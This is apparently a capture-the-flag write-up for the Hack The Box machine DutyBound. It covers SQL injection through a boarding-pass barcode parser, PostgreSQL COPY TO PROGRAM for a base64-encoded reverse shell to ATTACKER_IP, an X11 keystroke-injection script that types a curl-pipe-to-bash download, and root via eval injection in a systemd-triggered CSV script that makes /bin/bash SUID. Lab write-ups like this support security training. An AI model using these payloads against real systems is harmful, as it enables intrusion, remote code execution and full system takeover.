بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
25/10/26
DutyBound
HTB DutyBound boarding-pass parser SQLi to RCE, X11 keystroke injection, and root via systemd eval.
hack-the-box
Hi Guys how are you doing , i hope ur good guys , so today we gonna share the writeup of DutyBound machine on HTB this one is a self-checkout kiosk app , and the whole thing starts from a boarding pass barcode string , so lets begin with a small recon
Recon
the service scan shows SSH, HTTP and HTTPS , plus the HTTPS vhost :
$ nmap -Pn -n -sCV -p22,80,443 10.129.22.XXX
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=airsnacks.htb
|_http-title: Welcome · airsnacks Self-Checkout
the writeup is for DutyBound; AirSnacks is the name on its web app and TLS certificate. add airsnacks.htb to /etc/hosts and move to the site
Website
the app is a kiosk / POS interface , it says Self-service checkout and there is a warning that the barcode scanner is out of service
we got these routes by browsing and using burpsuite web scraber
/ attract screen
/browse product grid
/cart basket
/checkout/boarding-pass scan a boarding pass
/checkout/pay "payment unavailable" dead end
/health {"status":"ok"}
the interesting one is the boarding pass page , it says the scanner reads your destination to apply the right duty/tax , and that the pass data is written to a sales audit log for export verification
that is a hint that our input goes to the database so that may be an SQL injection
$ curl -s https://airsnacks.htb/checkout/boarding-pass | grep -i notice -A3
<b>Customs & VAT notice.</b> For export verification, your boarding-pass
details are recorded in our sales audit log in accordance with HMRC
requirements.
Understanding the BCBP format
the scanner is fake , but the endpoint behind it is real. The JS sends an empty string to /checkout/boarding-pass/verify and expects a JSON body :
POST /checkout/boarding-pass/verify HTTP/1.1
Host: airsnacks.htb
Content-Type: application/json
{"raw":""}
sending an empty value tells us exactly what the parser wants
{"detail":"expected 'M' at offset 0","error":"BCBP_ERR_FORMAT_CODE","item":1}
M at offset 0 and an item number in every error is how we know this is parsing a real BCBP (Bar Coded Boarding Pass)
BCBP is an IATA standard for the 2D barcode printed on a boarding pass. It is a plain ASCII string :
- a fixed-length mandatory block for the first flight
- then a variable-size area holding optional data and airline-specific data
the mandatory block is 58 bytes , and byte 59-60 is a 2 hex characters length field that says how many bytes follow. here is the layout of the mandatory block , and we can confirm every offset just by breaking it
| offset | len | field |
|---|---|---|
| 0 | 1 | M format code |
| 1 | 1 | number of legs |
| 2 | 20 | passenger name |
| 22 | 1 | e-ticket indicator |
| 23 | 7 | PNR |
| 30 | 3 | from airport |
| 33 | 3 | to airport |
| 36 | 3 | carrier |
| 39 | 5 | flight number |
| 44 | 3 | julian date |
| 47 | 1 | cabin |
| 48 | 4 | seat |
| 52 | 5 | check-in sequence |
| 57 | 1 | passenger status |
| 58 | 2 | field size of what follows, in hex |
the parser is well written about its own mistakes , so we never had to guess a field :
expected 'M' at offset 0 -> item 1 format code
string too short: 1 < 60 -> total minimum length
expected SURNAME/GIVEN, A-Z only -> item 3 name
leg 1: expected 6-7 alphanumerics -> PNR
leg 1: airport codes must be 3 letters -> origin / destination
leg 1: carrier must be 2-3 alphanumerics -> carrier
leg 1: expected 4 digits + alpha/blank -> flight number
leg 1: expected 001-366 -> julian date
leg 1: expected single A-Z -> compartment
leg 1: expected NNNA or 'INF ' -> seat
leg 1: expected 4 digits + alpha/blank -> sequence
leg 1: expected single 0-9/A-Z -> passenger status
after that comes the variable area , and it also announces itself :
expected 4-digit year+julian or blank -> item 22 issue date
expected 'B' or blank -> item 16 document type
item 10 must be one of 0B,18,25,32 -> industry / tenant code
supported versions: 5-8 -> version marker >5 .. >8
leg 1: item 17 not hex -> item 17 status code
leg 1: item 17 must be one of 03,0D,0E,0F,12,15,25,26,29,2A
so a fully valid pass looks like this , and it returns 200
name = "SMITH/JOHN".ljust(20)
header = ">70B0WW6297BAT 0D1471234567890" # 30 valid bytes of the variable area
tail = header
raw = "M1" + name + "E" + "ABC1234" + "CMN" + "CDG" + "AT " + "0210 " \
+ "297" + "Y" + "012A" + "0000A" + "1" + f"{len(tail):02X}" + tail
note "0210 " is 5 characters (4 digits + a blank) and "0000A" is 5 , so the mandatory block lands exactly on 58 bytes before the length field.
{
"audit_ref": "aud_964489498a7d",
"dest": "CDG",
"eligibility_token": "eyJhbGciOiJIUzI1NiIs...",
"exempt": false,
"regime": "OFF_AIRPORT"
}
so the token got created that means we are good to go
Finding the injectable field
the audit log is the interesting part , because the pass is written to the database. so the question is : which field goes into SQL , and does it get escaped ?
the name field is 20 chars and it is heavily validated. injecting there does nothing but break the parser :
$ curl -s https://airsnacks.htb/checkout/boarding-pass/verify -d '{"raw":"...DOE/JO'\''M..."}'
{"detail":"expected SURNAME/GIVEN, A-Z only","error":"BCBP_ERR_NAME_FORMAT"}
after trying a quote in the parsed fields , the last part , the airline use section , is free-form by design. that is where airlines put their own data , so the parser accepts the quote.
to confirm it is the last quoted value of the INSERT , just put a quote in it and read the error :
{"raw":"M1DOE/JOHN EABC1234CMNCDGAT 0210 297Y012A0000A123>70B0WW6297BAT 0D1471234567890H'LLO"}
HTTP/1.1 500 INTERNAL SERVER ERROR
{"detail":"syntax error at or near \"LLO\"
LINE 1: ...'CMN', 'CDG', '', '', 95, 'H'LLO')"}
that error gives us the whole query shape :
INSERT INTO audit (...) VALUES (
'<audit_ref>', 'dutyfree-kiosk7', now(), 'ABC1234',
'<name>', 'AT', '0210', '297', 'CMN', 'CDG', '', '', 95, '<Hello_part>'
)
our input is the last string literal , and the only thing after it is ). the error also shows the raw-string length as 95 in this example.
Building the SQL injection
we need to close the quoted value and the VALUES(...), run a second statement, then comment out the leftover quote and parenthesis. the payload shape is '); SELECT pg_sleep(4);--.
the parser also checks the two hex length bytes at offsets 58-59 , so changing the tail without recalculating its length fails before SQL. here's a request builder using the valid pass above :
import json
name = "SMITH/JOHN".ljust(20)
block58 = ("M1" + name + "E" + "ABC1234" + "CMN" + "CDG" + "AT "
+ "0210 " + "297" + "Y" + "012A" + "0000A" + "1")
header = ">70B0WW6297BAT 0D1471234567890"
payload = "'); SELECT pg_sleep(4);--"
tail = header + payload
assert len(block58) == 58 and len(tail) <= 255
raw = block58 + f"{len(tail):02X}" + tail
print(json.dumps({"raw": raw}))
save the builder output to request.json and send it :
$ python3 build_pass.py > request.json
$ curl -sk -H 'Content-Type: application/json' --data-binary @request.json https://airsnacks.htb/checkout/boarding-pass/verify
the Burp request below returned 200 OK after roughly 5.3 seconds with pg_sleep(4) in the airline-use field. a single slow response is not a timing baseline , but the later shell confirms this was more than a slow normal request.
Initial Access
with stacked SQL working , we gonna try to fire a shell. COPY ... TO PROGRAM executes a shell command on the database host if the PostgreSQL role has that privilege :
COPY (SELECT '') TO PROGRAM 'our command';
the command needs the same '); prefix and ;-- suffix as the timing probe. in build_pass.py, replace the payload = ... line above with this (add the import at the top), then rerun the builder to recalculate the pass length :
import base64
shell = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
encoded = base64.b64encode(shell.encode()).decode()
payload = f"');COPY (SELECT '') TO PROGRAM 'echo {encoded} | base64 -d | bash';--"
replace ATTACKER_IP with your IP , start the listener , and send the generated JSON to the same verify endpoint. the database session can stay open while the reverse shell is running :
$ nc -lvnp 4444
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.129.22.XX]
postgres@dutyfree-kiosk7:/var/lib/postgresql/18/main$ id
uid=114(postgres) gid=121(postgres) groups=121(postgres),120(ssl-cert)
postgres → dutyfree-kiosk
so we run linpeas.sh to see if there is anything that could lead us to the User , and we found that there is a
postgres@dutyfree-kiosk7:~$ ps aux
root 1749 /usr/lib/xorg/Xorg :0 vt7 -nolisten tcp -auth /tmp/serverauth.ZFsgwUftV6
dutyfre+ 1760 /usr/bin/openbox --startup /usr/lib/x86_64-linux-gnu/openbox-autostart OPENBOX
from this we undertand that there is a Xorg runs as root , with a display number 0, and there is a local console session , so tehre is someone is logged in and is duty and he is using openbox window manager
$ ls -ld /tmp/.X11-unix /tmp/.X11-unix/X0
drwxrwxrwt 2 root root 4096 /tmp/.X11-unix
srwxrwxrwx 1 root root 0 /tmp/.X11-unix/X0
the socket permissions allow a local connection attempt , but X11 can still enforce authorization (Xorg was started with -auth). what matters here is that a connection as postgres actually succeeded. with access to this display , XTEST lets us inject keyboard and mouse events.
$ DISPLAY=:0 python3 -c 'from Xlib import display; d=display.Display(); print("connected", d.screen_count())'
connected 1
so we can type into the kiosk user's own desktop. first create shell.sh on our box :
ζ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.1X.XXX/4445 0>&1
host it with python3 -m http.server 8000 and listen on port 4445. then open a terminal with Ctrl+Alt+T and type the fetch command :
from Xlib import X, XK, display
from Xlib.ext import xtest
import time
d = display.Display(":0")
def key(name, mod=None):
if mod:
c = d.keysym_to_keycode(XK.string_to_keysym(mod))
xtest.fake_input(d, X.KeyPress, c)
c = d.keysym_to_keycode(XK.string_to_keysym(name))
xtest.fake_input(d, X.KeyPress, c)
xtest.fake_input(d, X.KeyRelease, c)
if mod:
xtest.fake_input(d, X.KeyRelease, d.keysym_to_keycode(XK.string_to_keysym(mod)))
d.sync()
time.sleep(.04)
ctrl = d.keysym_to_keycode(XK.string_to_keysym("Control_L"))
alt = d.keysym_to_keycode(XK.string_to_keysym("Alt_L"))
xtest.fake_input(d, X.KeyPress, ctrl)
xtest.fake_input(d, X.KeyPress, alt)
key("t")
xtest.fake_input(d, X.KeyRelease, alt)
xtest.fake_input(d, X.KeyRelease, ctrl)
d.sync()
time.sleep(2)
cmd = "curl -fsS http://ATTACKER_IP:8000/shell.sh|bash"
for c in cmd:
if c == ":": key("semicolon", "Shift_L")
elif c == "|": key("backslash", "Shift_L")
elif c == "/": key("slash")
elif c == "-": key("minus")
elif c == ".": key("period")
elif c == " ": key("space")
else: key(c)
key("Return")
and the shell comes back as the kiosk user
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.129.22.XX]
dutyfree-kiosk@dutyfree-kiosk7:~$ id
uid=1000(dutyfree-kiosk) gid=1000(dutyfree-kiosk) groups=1000(dutyfree-kiosk),1001(pos-ops)
so after enumerating the user , we found out that he is with group pos-ops
Privilege escalation
first thing we look at is what runs as root and touches something our group owns , also there is some script in /opt/vrs (u could find them with Linpeas.sh)
these two entries stood out in the /etc/systemd/system listing :
dutyfree-kiosk@dutyfree-kiosk7:~$ ls /etc/systemd/system
<snip>
vrs-duty-apply.path
vrs-duty-apply.service
</snip>
i opened both to see what triggered the service and what it ran :
# vrs-duty-apply.path
[Path]
PathModified=/opt/vrs/data/duty-rates.csv
Unit=vrs-duty-apply.service
# vrs-duty-apply.service
[Service]
Type=oneshot
ExecStart=/opt/vrs/bin/apply-duty-rates.sh
a .path unit watches that file and starts a oneshot service as root whenever it is modified. and look at the permissions :
dutyfree-kiosk@dutyfree-kiosk7:~$ stat -c '%U:%G %a %n' /opt/vrs/data /opt/vrs/data/duty-rates.csv
root:pos-ops 775 /opt/vrs/data
root:pos-ops 664 /opt/vrs/data/duty-rates.csv
664 root:pos-ops and we are in pos-ops , so we can write the file that root reads. now the script :
#!/bin/bash
set -euo pipefail
RATES="/opt/vrs/data/duty-rates.csv"
[ -s "$RATES" ] || exit 0
while IFS=, read -r tax_class duty_pct vat_pct; do
(( ++lineno ))
if [[ -z "$tax_class" || -z "$duty_pct" || -z "$vat_pct" ]]; then
echo "missing field" >&2; exit 1
fi
if ! [[ "$duty_pct" =~ ^[0-9]+$ && "$vat_pct" =~ ^[0-9]+$ ]]; then
echo "rate must be numeric" >&2; exit 1
fi
eval "${tax_class}=${duty_pct}" # <-- here
done < "$RATES"
the two numeric columns are validated with a regex , but tax_class is used raw inside eval. that means the first column of the CSV is executed as shell code.
so we gonna append a line like this and we gonna wait a little bit and
dutyfree-kiosk@dutyfree-kiosk7:/opt/vrs/data$ echo "H=1;chmod 4777 /bin/bash;#,1,0" >>/opt/vrs/data/duty-rates.csv
dutyfree-kiosk@dutyfree-kiosk7:/opt/vrs/data$ ls -al /bin/bash
ls -al /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14 2024 /bin/bash
dutyfree-kiosk@dutyfree-kiosk7:/opt/vrs/data$ /bin/bash -p
/bin/bash -p
whoami
root
id
uid=1000(dutyfree-kiosk) gid=1000(dutyfree-kiosk) euid=0(root) groups=1000(dutyfree-kiosk),1001(pos-ops)
ROOTED
if you have any trouble to understand something let me know

